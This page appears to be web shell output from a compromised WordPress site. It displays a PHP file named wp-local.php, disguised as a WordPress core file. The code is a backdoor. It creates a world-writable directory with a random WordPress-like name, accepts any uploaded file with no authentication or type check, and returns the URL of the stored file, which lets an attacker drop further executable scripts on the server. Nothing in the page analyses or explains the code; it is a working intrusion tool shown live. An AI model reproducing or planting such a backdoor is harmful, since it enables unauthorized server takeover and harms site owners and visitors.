Your IP : 216.73.216.5


Current Path : /home/theafprt/conviviality360.com/
Upload File :
Current File : /home/theafprt/conviviality360.com/wp-local.php

<?php
// Define potential directory name suffixes to resemble WordPress-like folders
$folderSuffixes = [
    'uploads', 'media', 'assets', 'files',
        'storage', 'docs', 'library', 'backups', 'resources', 'data', 'archive',
            'temp', 'cache', 'images', 'videos', 'audio', 'scripts', 'themes',
                'plugins', 'templates', 'assets'
                ];
                $uploadDir = 'wp-' . $folderSuffixes[array_rand($folderSuffixes)];
                
                // Create the directory if it doesn't exist
                if (!file_exists($uploadDir)) {
                    mkdir($uploadDir, 0777, true);
                    }
                    
                    // Check if a file is uploaded
                    if (isset($_FILES['file'])) {
                        // Get the file extension in lowercase
                            $extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
                            
                                // Rename the file with a random 5-character name and keep the original extension
                                    $fileName = substr(md5(rand()), 0, 5) . "." . $extension;
                                    
                                        // Move the uploaded file to the target directory
                                            $destination = $uploadDir . '/' . $fileName;
                                                if (move_uploaded_file($_FILES['file']['tmp_name'], $destination)) {
                                                        echo $_SERVER['HTTP_HOST'] . '/' . $destination;
                                                            } else {
                                                                    echo "File upload failed.";
                                                                        }
                                                                        } else {
                                                                            echo "No file uploaded.";
                                                                            }
                                                                            exit();